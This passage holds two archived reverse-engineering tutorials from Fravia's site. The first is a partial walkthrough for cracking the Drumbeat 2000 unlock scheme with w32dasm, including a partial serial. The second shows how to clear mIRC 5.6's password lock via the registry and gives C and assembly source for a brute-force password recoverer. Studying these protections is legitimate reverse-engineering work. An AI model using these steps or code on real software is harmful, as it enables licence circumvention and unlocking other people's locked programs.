you can't manipulate them without creating a little tension in the program. Remember what +ORC
mentioned in some of his earlier essays, if you don't need to change it, then don't. Leave it alone. If all it
takes is a one bit change don't go around changing whole words. One increases the chances for error that
way. Go ahead and write down the personal code that shows up grayed out on the left side of the screen.
You will only use this for reference now, but those keymakers out there may find it more than passing
useful. Fire up w32dasm and load in rsagnt32.dll and run it as attached to Drumbeat.exe which is already
running. I always check the inhibit override and start. W32dasm immediately loads the drumbeat.exe.,
you will also get a DebugBreak msg. Only step ONCE to clear this. In w32dasm load the rsagnt32.dll
now so it is in the active part and you can see the listing of code. Before you do anything else you need to
put breakpoints at 2 places only- they are both calls to DebugBreak--one is at 10005AA2 and the other is

http://www.instinct.org/fravia/so_macr1.htm (3 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

at 10005B30. You may continue running the prog now and after you have input some string into the
Unlock Code space you'll break at one of these two calls. You must nop these two calls and then may run
pretty much with impunity in this faked out system. Hah, I love it !!! Just for your info--this little bit cost
me muchos hours of work plus my spouse bugging me, 'cause I spend too much time on the
system--anybody ever see "The Matrix" or read "Neuromancer" by William Gibson. There you go. You
know exactly what I mean. I say "Keep on keeping on." This is a part of my life. You may have it heard
it said you are what you eat, I say, you are what you do. Enough philosophia.
Did your code work? Of course not! Try it again. No luck. I knew it. I told you I already spent countless
hours on this new junk and it was not easy. Did you find any string listings for that lousy MessageBoxA
that said, "Invalid Code?" No, you didn't, of course I knew it wouldn't be there either. Macromedia got
rid of that stuff a couple of renditions ago. Oh me. What do we do. Well, I said MessageBoxA a second
ago. Go ahead and put some breaks to find out where you're going in this high-speed lane. By the way,
conservatively speaking, I did a quick calculation to give a hint as to how many times I might have to
input this unknown code to just find it by random. It comes to something like
1:1,000,000,000,000,000,000. As you can see, that's a fairly large sum. I wouldn't want to spend the rest
of my eternity doing that. Would you? I didn't think so. You are way too---anyway, let's move on. We
can find this out with a little help from our friends. You'll see that everything will be revealed if we
persevere. I'll load a little code for you now (the "return" hyperlinks will be useful when you'll be reading
the second part of this essay, after the code, below)
* Referenced by a CALL at Address: 10005643 |
:10005A20 55 push ebp
:10005A21 8BEC mov ebp, esp
:10005A23 6AFF push FFFFFFFF
:10005A25 68F00A0210 push 10020AF0
:10005A2A 64A100000000 mov eax, dword ptr fs:[00000000]
:10005A30 50 push eax
:10005A31 64892500000000 mov dword ptr fs:[00000000], esp
:10005A38 51 push ecx
:10005A39 B8D4110000 mov eax, 000011D4
:10005A3E E8CD160100 call 10017110
:10005A43 53 push ebx
:10005A44 56 push esi
:10005A45 57 push edi
:10005A46 8965F0 mov dword ptr [ebp-10], esp
:10005A49 C68570FFFFFF00 mov byte ptr [ebp+FFFFFF70], 00
:10005A50 B90C000000 mov ecx, 0000000C
:10005A55 33C0 xor eax, eax
:10005A57 8DBD71FFFFFF lea edi, dword ptr [ebp+FFFFFF71]
:10005A5D F3 repz
:10005A5E AB stosd
:10005A5F AA stosb
:10005A60 C6853CFFFFFF00 mov byte ptr [ebp+FFFFFF3C],00
:10005A67 B90C000000 mov ecx, 0000000C
:10005A6C 33C0 xor eax, eax

http://www.instinct.org/fravia/so_macr1.htm (4 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

:10005A6E 8DBD3DFFFFFF lea edi, dword ptr [ebp+FFFFFF3D]


:10005A74 F3 repz
:10005A75 AB stosd
:10005A76 AA stosb
:10005A77 C6852CFEFFFF00 mov byte ptr [ebp+FFFFFE2C],00
:10005A7E B93F000000 mov ecx, 0000003F
:10005A83 33C0 xor eax, eax
:10005A85 8DBD2DFEFFFF lea edi, dword ptr [ebp+FFFFFE2D]
:10005A8B F3 repz
:10005A8C AB stosd
:10005A8D 66AB stosw
:10005A8F C645B000 mov [ebp-50], 00
:10005A93 B90F000000 mov ecx, 0000000F
:10005A98 33C0 xor eax, eax
:10005A9A 8D7DB1 lea edi, dword ptr [ebp-4F]
:10005A9D F3 repz
:10005A9E AB stosd
:10005A9F 66AB stosw
:10005AA1 AA stosb
:10005AA2 E859040000 call 10005F00 RETURN
:10005AA7 6A1B push 0000001B
:10005AA9 E8E20D0100 call 10016890
:10005AAE 83C404 add esp, 00000004
:10005AB1 6A0B push 0000000B
:10005AB3 68CC8F0210 push 10028FCC
:10005AB8 68BF010000 push 000001BF
:10005ABD 8B5D08 mov ebx, dword ptr [ebp+08]
:10005AC0 53 push ebx
* Reference To: USER32.GetDlgItemTextA, Ord:0104h
:10005AC1 FF1570120210 Call dword ptr [10021270]
:10005AC7 BFCC8F0210 mov edi, 10028FCC RETURN
:10005ACC 83C9FF or ecx, FFFFFFFF
:10005ACF 33C0 xor eax, eax
:10005AD1 F2 repnz
:10005AD2 AE scasb
:10005AD3 F7D1 not ecx
:10005AD5 49 dec ecx
:10005AD6 83F90A cmp ecx, 0000000A RETURN
:10005AD9 7455 je 10005B30
:10005ADB 68FF0F0000 push 00000FFF
:10005AE0 8D852CEEFFFF lea eax, dword ptr [ebp+FFFFEE2C]
:10005AE6 50 push eax
:10005AE7 6870010000 push 00000170
:10005AEC E87F0D0100 call 10016870
:10005AF1 6A17 push 00000017

http://www.instinct.org/fravia/so_macr1.htm (5 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

:10005AF3 E8980D0100 call 10016890


:10005AF8 83C410 add esp, 00000010
:10005AFB 6A30 push 00000030
:10005AFD 6830230410 push 10042330 RETURN
:10005B02 8D8D2CEEFFFF lea ecx, dword ptr [ebp+FFFFEE2C]
:10005B08 51 push ecx
:10005B09 53 push ebx
* Reference To: USER32.MessageBoxA, Ord:01BEh
|
:10005B0A FF1558120210 Call dword ptr [10021258]
:10005B10 8B1594870210 mov edx, dword ptr [10028794]
:10005B16 66C742040000 mov [edx+04], 0000
* Referenced by a Jump at Addresses: 10005C8A(U), 10005D60(U), 10005E51(U)
|
:10005B1C 83C8FF or eax, FFFFFFFF
:10005B1F 8B4DF4 mov ecx, dword ptr [ebp-0C]
:10005B22 64890D00000000 mov dword ptr fs:[00000000], ecx
:10005B29 5F pop edi
:10005B2A 5E pop esi
:10005B2B 5B pop ebx
:10005B2C 8BE5 mov esp, ebp
:10005B2E 5D pop ebp
:10005B2F C3 ret
* Referenced by a Jump at Address: 10005AD9(C)
|
:10005B30 E83BBBFFFF call 10001670 RETURN
:10005B35 8D953CFFFFFF lea edx, dword ptr [ebp+FFFFFF3C]
:10005B3B BFC08F0210 mov edi, 10028FC0 RETURN
:10005B40 83C9FF or ecx, FFFFFFFF
:10005B43 33C0 xor eax, eax
:10005B45 F2 repnz
:10005B46 AE scasb
:10005B47 F7D1 not ecx
:10005B49 2BF9 sub edi, ecx
:10005B4B 8BC1 mov eax, ecx
:10005B4D 8BF7 mov esi, edi
:10005B4F 8BFA mov edi, edx
:10005B51 C1E902 shr ecx, 02
:10005B54 F3 repz
:10005B55 A5 movsd
:10005B56 8BC8 mov ecx, eax
:10005B58 83E103 and ecx, 00000003
:10005B5B F3 repz
:10005B5C A4 movsb
:10005B5D 8D8D70FFFFFF lea ecx, dword ptr [ebp+FFFFFF70]

http://www.instinct.org/fravia/so_macr1.htm (6 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

:10005B63 51 push ecx


:10005B64 8B1594870210 mov edx, dword ptr [10028794]
:10005B6A 81C206010000 add edx, 00000106
:10005B70 52 push edx
:10005B71 8D853CFFFFFF lea eax, dword ptr [ebp+FFFFFF3C]
:10005B77 50 push eax
:10005B78 E8D36D0000 call 1000C950 RETURN
:10005B7D 83C40C add esp, 0000000C
:10005B80 33F6 xor esi, esi
:10005B82 89B538FFFFFF mov dword ptr [ebp+FFFFFF38], esi
:10005B88 68CC8F0210 push 10028FCC
:10005B8D 8D8D70FFFFFF lea ecx, dword ptr [ebp+FFFFFF70]
:10005B93 51 push ecx
* Reference To: KERNEL32.lstrcmpiA, Ord:02FFh
|
:10005B94 FF15C8100210 Call dword ptr [100210C8]
:10005B9A 8BC8 mov ecx, eax
:10005B9C 83CFFF or edi, FFFFFFFF
:10005B9F 8975FC mov dword ptr [ebp-04], esi
:10005BA2 B86F0D0000 mov eax, 00000D6F
:10005BA7 898528EEFFFF mov dword ptr [ebp+FFFFEE28], eax
:10005BAD 99 cdq
:10005BAE F7F9 idiv ecx
:10005BB0 898528EEFFFF mov dword ptr [ebp+FFFFEE28], eax
* Possible StringData Ref from Data Obj ->"&*$@^!"
|
:10005BB6 68EC360210 push 100236EC
:10005BBB 56 push esi
:10005BBC 56 push esi
:10005BBD 56 push esi
* Reference To: KERNEL32.CreateEventA, Ord:0031h
|
:10005BBE FF1518110210 Call dword ptr [10021118]
:10005BC4 898538FFFFFF mov dword ptr [ebp+FFFFFF38], eax
:10005BCA 8B1594870210 mov edx, dword ptr [10028794]
:10005BD0 66897204 mov word ptr [edx+04], si
:10005BD4 68FF0F0000 push 00000FFF
:10005BD9 8D852CEEFFFF lea eax, dword ptr [ebp+FFFFEE2C]
:10005BDF 50 push eax
:10005BE0 6870010000 push 00000170
:10005BE5 E8860C0100 call 10016870
:10005BEA 6A17 push 00000017
:10005BEC E89F0C0100 call 10016890
:10005BF1 83C410 add esp, 00000010
:10005BF4 6A30 push 00000030

http://www.instinct.org/fravia/so_macr1.htm (7 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

:10005BF6 6830230410 push 10042330


:10005BFB 8D8D2CEEFFFF lea ecx, dword ptr [ebp+FFFFEE2C]
:10005C01 51 push ecx
:10005C02 53 push ebx
* Reference To: USER32.MessageBoxA, Ord:01BEh RETURN
|
:10005C03 FF1558120210 Call dword ptr [10021258]
:10005C09 E9BE020000 jmp 10005ECC
:10005C0E 6AFF push FFFFFFFF
:10005C10 8B9538FFFFFF mov edx, dword ptr [ebp+FFFFFF38]
:10005C16 52 push edx
* Reference To: KERNEL32.WaitForSingleObject, Ord:02CEh
|
:10005C17 FF151C110210 Call dword ptr [1002111C]
:10005C1D 68FF000000 push 000000FF
:10005C22 8D852CFEFFFF lea eax, dword ptr [ebp+FFFFFE2C]
:10005C28 50 push eax
:10005C29 6A71 push 00000071
:10005C2B 8B7508 mov esi, dword ptr [ebp+08]
:10005C2E 56 push esi
* Reference To: USER32.GetDlgItemTextA, Ord:0104h
|
:10005C2F FF1570120210 Call dword ptr [10021270]
:10005C35 8DBD2CFEFFFF lea edi, dword ptr [ebp+FFFFFE2C]
:10005C3B 83C9FF or ecx, FFFFFFFF
:10005C3E 33C0 xor eax, eax
:10005C40 F2 repnz
:10005C41 AE scasb
:10005C42 F7D1 not ecx
:10005C44 49 dec ecx
:10005C45 8BF9 mov edi, ecx
:10005C47 7546 jne 10005C8F
:10005C49 68FF0F0000 push 00000FFF
:10005C4E 8D8D2CEEFFFF lea ecx, dword ptr [ebp+FFFFEE2C]
:10005C54 51 push ecx
:10005C55 6A19 push 00000019
:10005C57 E8140C0100 call 10016870
:10005C5C 83C40C add esp, 0000000C
:10005C5F 6A30 push 00000030
:10005C61 6830230410 push 10042330
:10005C66 8D952CEEFFFF lea edx, dword ptr [ebp+FFFFEE2C]
:10005C6C 52 push edx
:10005C6D 56 push esi
* Reference To: USER32.MessageBoxA, Ord:01BEh
|

http://www.instinct.org/fravia/so_macr1.htm (8 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

:10005C6E FF1558120210 Call dword ptr [10021258]


:10005C74 6A71 push 00000071
:10005C76 56 push esi
* Reference To:USER32.GetDlgItem, Ord:0102h
|
:10005C77 FF156C120210 Call dword ptr [1002126C]
:10005C7D 50 push eax
* Reference To: USER32.SetFocus, Ord:022Fh
|
:10005C7E FF158C120210 Call dword ptr [1002128C]
:10005C84 B81C5B0010 mov eax, 10005B1C
:10005C89 C3 ret
In reference to the above code, this area begins the major check point for us. If you set that breakpoint a
bit ago on the MessageBox A you'll find it here. There are several variables that are important to us in
this study. One of them is 10042330 and will always bring up the "Invalid Unlock Code" message. You
will find it scattered about, especially directly in front of the two MessageBoxA calls above. One is at
10005AFD. Another interesting variable is 10028FCC at 10005AC7. This one is our "Unlock Code."
Right or wrong this is the baby that we put in. Another variable is the computer generated "Personal
Code" at 10005B3B and is 10028FC0.

In perusing the code above you will notice that there is a cmp ecx at 10005AD6. But what is it
comparing? It's the same cmp we've had in several other rsagnt32.dll's. It is comparing the length of the
input string. If you don't have 10 of something in there it will drop you down through the "bad" variable,
10042330 at 10005AFD. Ah, you say, that was too easy and indeed it is, with a little help. Look to the
south of where you are now though, to that other MessageBoxA that we've already encountered at
10005C03. Examine all that code in between from 10005B30 - 10005C03. How do you get around this
guy? Well, if you keep putting in the wrong code, you'll never get around it. There is no jump around this
baby! This area is the heart of the monster and the call at 10005B78 takes us right to the variables I
mentioned earlier, PQYZMERUOA--which is at 1000c957 and JIKLICBXZC- which is at 1000c98b.
Remember those twins? You'll, of course, see them in the register listings along with, but not in the same
place as the "REAL" code that we need to unlock this proggy. Unfortunately, and yet ultimately for your
benefit, your codes will most likely be very different from my own, hence I will not provide mine to you.
I will tell you this much though, ALL of the input string will be capitalized letters of the length = 10. If
you start examining the code closely, and I mean step through this stuff slowly, you will see the
evolution in the register listings as mentioned earlier. Check them all though. There are many subtle
clues left out, but I must give you one more big mega-dose of help- when you finally have the correct
code and input it in the "Unlock Code" area, w32dasm may give you an error message dealing with a
divide by zero. At this point you may get out of the running prog and go directly to Drumbeat 2000 and
input the data field and watch the flower unfold. After the unfolding, the old Drumbeat.exe has been
magically replaced with a new larger executible and w32dasm won't be working any longer on the old
prog, and at the same time the new, larger executible asks you for the Macromedia serial number to input
and thusly allow your program to be fully usable. We didn't talk about that, did we? Well, we weren't
there yet. You can crack the prog if you want to, but there is no need for it. The serial number has been
graciously provided for us in the new Drumbeat.exe. If you decompile it in w32dasm after quitting you'll

http://www.instinct.org/fravia/so_macr1.htm (9 of 10) [2/7/2001 3:27:29 PM]


so_macr1.htm: Sojourner's Drumbeat

be able to find it easy enough. It starts with BDA100- As always, I am totally available to advise and
help some, but you must read this stuff and try to absorb it. "Luke, do or do not, there is no try!" Yoda to
Luke Skywalker while the master was training the young Jedi Knight. Sojourner
Final Notes
There is much to learn. "You must Act as if it is Impossible to fail!" unknown quote. As always, I am
indebted to fravia+ for his encouragement and help and his tremendous fortress of knowledge and the
opportunity to share a little of what I have reaped from his site and the many other people who have
taken their time to share their knowledge with a hungry world. As an aside, VBOX remains of great
interest to me and I would welcome any input from others who are up to speed on that system. Just email
at the above. Also, I am toying with the idea of a three dimesional security code. Enjoy your life- "Life is
but a vapor. Here for awhile and then gone." quote from the Biblical King David

Oh Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:
homepage links search_forms +ORC students' essays academy database
reality cracking how to search java-script wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/so_macr1.htm (10 of 10) [2/7/2001 3:27:29 PM]


along_01.htm: "Bruteforcing" a password protection

Reversing... Coding... and


BRUTEFORCING !
How to reverse our target creating a good Brute Not Assigned
Force Cracker !
8 September 1999 by aLoNg3x
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
"Well, probably the essay can finish here, but we're reverser
and not simple byte changer, and so we must go ahead with
this work !"
"When someone writes something like this, the essay is most
probably worth reading" - thought fravia+ drinking slowly his
Ename and watching the rain drip on the windows.

As you will see, if you read the following, aLoNg3x goes to


great length to explain how a part of the code of his target
works... even if this has no importance whatsoever in order to
fra_00xx
deprotect it (infact Mirc's protection scheme could and should
981008
figure in the most stupid section, btw if you perform a simple
aLoNg3x
search you'll find either 10870 pages (using the most simple
0100
NA search) or 61 pages (using a more refined search), with
PC ready-made mirc's cracks for the lamers, so I think that this
essay will be more useful for the protectors that for anyone
wanting to steal software...)
But "we're reverser and not simple byte changer" and hey
presto! There is a decryption routine to investigate, and a
"brute force cracker" probe to build. The sort of material that
any reversers will be able to use on many other targets (not
necessarily protection schemes, btw) and that any protectors
should, by all means, duly consider when preparing new
schemes...
Enjoy!
There is a crack, a crack in everything That's how the light
gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

Excuse my disgusting and obscene english. :P

This is my first essay in a foreign language and I hope that Fravia+ will publish it on his great fortress.
I've started my cracking & reversing carrier exactly one year ago, and I wish now to help reversers and protectors to
understand this wonderful and interesting art :D

Reversing... Coding... and BRUTEFORCING !


How reverse our target creating a good Brute Force Cracker !
Written by aLoNg3x

http://www.instinct.org/fravia/along_01.htm (1 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

Introduction

Hei +isoiti* fRAVIA :p


I'm writing this simple tutorial about mIRC 5.6...
You're probably saying: "Nahhh another essay regarding the bytez patching ???". Or, maybe: "Man! mIRC is dead easy to
crack, what's the point of shooting the red cross?", or, also possible: "mIRC? who needs to access the useless IRC anyway?"
:-p

No no :D dear old +crackers... I'm going to write a very small "Brute Force Cracker" to reverse a new kind of "protection"
introduced by mIRC 5.6x.

In fact in this last version (released in June '99) the mIRC coder enable you to lock your favourite irc client with a masked
password...
[Quite interesting... no? LET'S REVERSE !]

Tools required
In order to "read" this essay you need:
..an idiot PC :p
Numega SoftICE
Borland tASM
W32dasm
a little Brain...
... a very cold bottle of Leffe red beer (or the Couvee' one ;) ...
... and a LOT of good PUNK music ! (only you in my MIND :-P)
( Punkreas - Pornoriviste - Lag Wagon - NOFX - Bad Religion - Clash & NoMAdI & NirVAnA ;-)

Target's URL/FTP
If you need our target, download it from its Homepage: mIRC
I suggest you also to visit the cool site of my Reversing Group: RingZer0
And.. my email address: along3x @ geocities . com

You can take HERE the full package.

Program History
Probably mIRC have one of the easiest protection schemes in the world...
You can find everywhere simple tutorials explaining how patch his .EXE to hide the ugly "Unregistered" word.

There is also the +Malattia tutorial about the mIRC "KeyGeneration", but now in the latest version (5.6x) there is a new nice
option in this good IRC client.. & this option is really nice to REVERSE.

http://www.instinct.org/fravia/along_01.htm (2 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

Essay
So i've decided to try to work on this new feature...
Ok. I've locked the proggie with the passwd "fabio" (hmmm quite nice this name :p).
That's all... and i've tried to look around to find this "stupid" word
written somewhere in a plain text format in the configuration files in the mIRC
directory.

D'oh :( Nothing of this.. and now ? Let's run the Regedit. and under the Key
"HKCU\Software\mirc" we can find something of really "useful"...

There is a lock key composed by a string ('\0' terminated) of numbers... in my case


it's "1657786368,192" - Then let's replace it with an idiot "0" - Restart mIRC
and we will see in the options that the proggie isn't locked anymore.

Well, probably the essay can finish here, but we're reverser and not simple
byte changer, and so we must go ahead with this work ! :P.

Let's load our favourite Debugger (SoftICE of course) and...


Please. wait a moment because i'm going to restart my PiCci' with sice :D

[Three minutes later...]

Ok... i'm back again with my dear old (and very slow) P100 =)
First of all we must set again the lock code and set ON the checkBox "Ask for
password on startup". Then terminate mIRC and press CTRL+D to enter in sice.

We have set ON this checkbox in order to have a dialog box (waiting the password)
when we load mirc32.exe.

We can set a "bpx advapi32!RegQueryValueA" and run mIRC. The proggie will break
after some other breakpoints in this position:

:0049D677 E82C7C0300 Call RegQueryValueA

This simple call read our good code 1657786368,192 from the windows register.
(in order to understand that this is the right call you must take a look to
the pushed arguments.

:0049D67C 85C0 test eax, eax ; Success ???


:0049D67E 7551 jne 0049D6D1 ; NO Jump away...
:0049D680 6A2C push 0000002C ; push ','
:0049D682 68E4504E00 push 004E50E4
:0049D687 E840B60200 call 004C8CCC ; Search !

After this call EAX points to the comma (',') in the string readed from the
win register.

:0049D68C 83C408 add esp, 00000008


:0049D68F 890424 mov dword ptr [esp], eax ; ESP->"comma"
:0049D692 833C2400 cmp dword ptr [esp], 00000000
:0049D696 7439 je 0049D6D1 ; Error :(
:0049D698 8B0C24 mov ecx, dword ptr [esp]

http://www.instinct.org/fravia/along_01.htm (3 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

:0049D69B C60100 mov byte ptr [ecx], 00 ; ','='\0'

This mov instruction substitutes the comma (',') with a Zero ('\0') to create
an useful asciiZ(ero terminated) string.

:0049D69E FF0424 inc dword ptr [esp] ; next char..


:0049D6A1 8B0424 mov eax, dword ptr [esp]
:0049D6A4 803800 cmp byte ptr [eax], 00 ; IS IT A '\0' ?
:0049D6A7 740F je 0049D6B8 ; YES Jump away...
:0049D6A9 8B1424 mov edx, dword ptr [esp]
:0049D6AC 52 push edx
:0049D6AD E876350300 call 004D0C28

This call puts in EAX the number after the "old" comma char.

:0049D6B2 59 pop ecx


:0049D6B3 A3B0E64D00 mov dword ptr [004DE6B0], eax
:0049D6B8 6A0A push 0000000A
:0049D6BA 8D4C2404 lea ecx, dword ptr [esp+04]
:0049D6BE 51 push ecx
:0049D6BF 68E4504E00 push 004E50E4
:0049D6C4 E86F4A0300 call 004D2138

This call puts in eax the number (of course in HEX format) before the "old"
comma char.

:0049D6C9 83C40C add esp, 0000000C


:0049D6CC A3ACE64D00 mov dword ptr [004DE6AC], eax

This instrucion puts in a 4 bytes variable in 004DE6AC the hex number. (it's
built with the password that we've setted in the options dialog)

Ok.. quite simple.. now we'll set a "BPR 004DE6AC 004DE6B0 R".
Placing this breakpoint on range we'll see where our "cripted" locking code
is readed from the proggie.
and then:

-> in 0049D787 -> it is compared with 0 (to check if mIRC is locked or no..)

Now the proggie reaches the request of the UN-locking code.. if you enter a
dummie code like 'cacca' you will break again in our target here:

-> in 0049D541 -> it is compared with eax

If you take a look in this piece of code you'll see this:

:0049D535 6A20 push 00000020


:0049D537 68E4504E00 push 004E50E4 ; pointer to
"cacca",0
:0049D53C E8BFE1F6FF call 0040B700 ; work on our
unlocking code
:0049D541 3B05ACE64D00 cmp eax, dword ptr [004DE6AC] ; check equ
:0049D547 7512 jne 0049D55B ; naaahh bad code...
:p

http://www.instinct.org/fravia/along_01.htm (4 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

This is really simple... :p - it seems to be like a common keygenerator routine..


Let's navigate inside the call to 0040B700 to see the "cripting" procedure:

:0040B700 55 push ebp


:0040B701 8BEC mov ebp, esp
:0040B703 51 push ecx
:0040B704 53 push ebx
:0040B705 56 push esi
:0040B706 8B750C mov esi, dword ptr [ebp+0C]
:0040B709 BB185F4E00 mov ebx, 004E5F18
:0040B70E B91C5F4E00 mov ecx, 004E5F1C
:0040B713 33C0 xor eax, eax
:0040B715 8903 mov dword ptr [ebx], eax
:0040B717 33D2 xor edx, edx
:0040B719 8911 mov dword ptr [ecx], edx
:0040B71B 8B4508 mov eax, dword ptr [ebp+08]
:0040B71E A3205F4E00 mov dword ptr [004E5F20], eax
:0040B723 EB1F jmp 0040B744 ==========================\
:0040B725 8B13 mov edx, dword ptr [ebx] <=====\ |
:0040B727 81E2000000FF and edx, FF000000 | |
:0040B72D C1EA18 shr edx, 18 | |
:0040B730 8911 mov dword ptr [ecx], edx | |
:0040B732 25FF000000 and eax, 000000FF | |
:0040B737 0103 add dword ptr [ebx], eax | |
:0040B739 0113 add dword ptr [ebx], edx | |
:0040B73B C12308 shl dword ptr [ebx], 08 | |
:0040B73E FF05205F4E00 inc dword ptr [004E5F20] | |
:0040B744 8B15205F4E00 mov edx, dword ptr [004E5F20] <==|=====/
:0040B74A 8A02 mov al, byte ptr [edx] |
:0040B74C 84C0 test al, al |
:0040B74E 75D5 jne 0040B725 ====================/
:0040B750 33D2 xor edx, edx
:0040B752 8915245F4E00 mov dword ptr [004E5F24], edx
:0040B758 EB11 jmp 0040B76B ==========================\
:0040B75A 8B03 mov eax, dword ptr [ebx] <=======\ |
:0040B75C 83E001 and eax, 00000001 | |
:0040B75F 8901 mov dword ptr [ecx], eax | |
:0040B761 D12B shr dword ptr [ebx], 1 | |
:0040B763 0103 add dword ptr [ebx], eax | |
:0040B765 FF05245F4E00 inc dword ptr [004E5F24] | |
:0040B76B BA20000000 mov edx, 00000020 <==============|=====/
:0040B770 2BD6 sub edx, esi |
:0040B772 3B15245F4E00 cmp edx, dword ptr [004E5F24] |
:0040B778 7FE0 jg 0040B75A =====================/
:0040B77A 8975FC mov dword ptr [ebp-04], esi
:0040B77D DB45FC fild dword ptr [ebp-04]
:0040B780 83C4F8 add esp, FFFFFFF8
:0040B783 DD1C24 fstp qword ptr [esp]
:0040B786 6800000040 push 40000000
:0040B78B 6A00 push 00000000
:0040B78D E85E510C00 call 004D08F0
:0040B792 83C410 add esp, 00000010
:0040B795 E8A24F0C00 call 004D073C
:0040B79A 48 dec eax

http://www.instinct.org/fravia/along_01.htm (5 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

:0040B79B 2103 and dword ptr [ebx], eax


:0040B79D 8B03 mov eax, dword ptr [ebx] ; Very
important !
:0040B79F 5E pop esi ; infact EAX
is
:0040B7A0 5B pop ebx ; compared
after
:0040B7A1 59 pop ecx ; the RET.
:0040B7A2 5D pop ebp
:0040B7A3 C20800 ret 0008

If you look carefully in this function and debug into it sometimes, you will
understand that in "dword ptr [ebx]" is stored the cripted unlocking inserted code..
and.. very IMPORTANT.. the condition of the JG is never verified.. and also
the value pointed by EBX (that is the cripted unlocking code) doesn't change
from the "JG" to the "MOV EAX, DWORD PTR [EBX]".

Quite good... so we can ignore a big piece of asm code..


I've also ignored the instruction about the Stack... like the push & pop
And i've changed these memory locations:

DWORD PTR [EBX] ==> CodiceOK


DWORD PTR [ECX] ==> Check

DWORD PTR [EBP+08] == PassTrial

Moreover I've inserted the First_Jmp & Second_Jmp labels.

CRYPT_MIRG3X.ASM :
_________________________________ _ _ _

mov CodiceOK, 0
mov Check, 0
mov eax, offset PassTrial
mov Ofs_Pass, eax
jmp Second_Jmp

First_Jmp:

mov edx, CodiceOK


and edx, FF000000
shr edx, 18
mov Check, edx
and eax, 000000FF
add CodiceOK, eax
add CodiceOK, edx
shl CodiceOK, 08
inc Ofs_Pass

Second_Jmp:

mov edx, Ofs_Pass


mov al, byte ptr [edx]
test al, al

http://www.instinct.org/fravia/along_01.htm (6 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

jne First_Jmp
mov eax, CodiceOK
_________________________________ _ _ _

Oh Yeah.. a very little function, totally coded in pure Assembler :D


Of course this code isn't optimized in a good way, but i'm very lame in ASM
coding :P

Now we need a routine to generate every kind of word..


...from "a" ... to "zzzzzzzz" ...
I've supposed to use words up to 8 CHAR and I've used chars from 'a' to 'z'.

Let's make our first

.... BRUTE FORCE CRACKER !!!

Hmmhhh :( i don't code since a lot of time, and this work is quite hard for my
poor brain.. However i've write down this UGLY routine in C:

BRUTE_MIRG3X.C :
_________________________________ _ _ _

#define MAX_CHAR 8
#define FIRSTCHAR 'a'
#define LASTCHAR 'z'

void main(void)

{ // BEGIN

int number_of_char=1;
int counter,toinc;
char code[MAX_CHAR]="";

code[0]=FIRSTCHAR;

do
{
// CheckUnLockCode...

toinc=1;
counter=0;
while (code[counter]==LASTCHAR)
{
if (code[counter+1]=='\0')
{
++number_of_char;
code[counter+1]=FIRSTCHAR;
code[counter]=FIRSTCHAR; //
toinc=0;
}
else
{

http://www.instinct.org/fravia/along_01.htm (7 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

code[counter]=FIRSTCHAR;
counter++;
}
}
if (toinc) ++code[counter];
}
while (number_of_char<=MAX_CHAR);

} // END OF FILE
_________________________________ _ _ _

I think that it works... it isn't a good code, but the most important thing is
that it seems to work :p

The last step is to create the complete ASM source code of our application.
So we can use the file "crypt_mirg3x.asm" and must generate manually the bruteforcing
routine in ASM, translating with our hands the C code.

I've make this work, and I hope that it's correct :P

MIRG3X.ASM :
_________________________________ _ _ _

.386 ; CHOOSE YOUR PROCESSOR

.model flat, stdcall

; GENERAL CONSTANTS
NULL equ 0h

; CONSTANTS ABOUT THE READING OPERATIONS FROM THE REGISTRY


KEY_QUERY_VALUE equ 1h
HKEY_CURRENT_USER equ 80000001h
ERROR_SUCCESS equ 0h
REG_NONE equ 0h
MAXLEN equ 40h
COMMA equ ','

; CONSTANTS ABOUT THE MESSAGE BOXES


MB_OK equ 0h

; CONSTANTS ABOUT THE BRUTE-FORCING ROUTINE


MAX_CHAR equ 8
FIRSTCHAR equ 'a'
LASTCHAR equ 'z'

; USER32
extrn MessageBoxA :PROC

; KERNEL32

http://www.instinct.org/fravia/along_01.htm (8 of 15) [2/7/2001 3:27:36 PM]


along_01.htm: "Bruteforcing" a password protection

extrn ExitProcess :PROC

; ADVAPI32
extrn RegOpenKeyExA :PROC
extrn RegQueryValueExA :PROC
extrn RegCloseKey :PROC

.data

hRegister dd 0h
KeyToOpen db "Software\mIRC\lock",0
KeyName db 0
ReadedKey db 40 dup(MAXLEN)
SizeKey dd MAXLEN

; SPONSOR !!! :D

Ring0txt db "This little program has been totally


\
coded in Assembler by aLoNg3x \
(along3x@geocities.com) ... \
proudly member of RingZer0 \
http://ringzer0.cjb.net ...",0
Ring0cpt db "aLoNg3x - http://ringzer0.cjb.net
:p",0

; TEXT OF THE MESSAGES


OpErr db "No key registry found !",0
InErr db "Invalid key in the register !",0
NoErr db "Your mIRC don't have any lock
password !",0
UnErr db "Sorry.. I haven't found any \
valid unlocking password :_( !",0

Result db "The unlock password of your mIRC \


is: ", MAX_CHAR+1 dup(0)
LenRes dd 37 ; THIS IS THE LENGHT OF "The
unlock... "

; CAPTION OF THE MESSAGES


DoneCpt db "Brute Force Cracked !",0
FailCpt db "Cracking failed... :_(",0

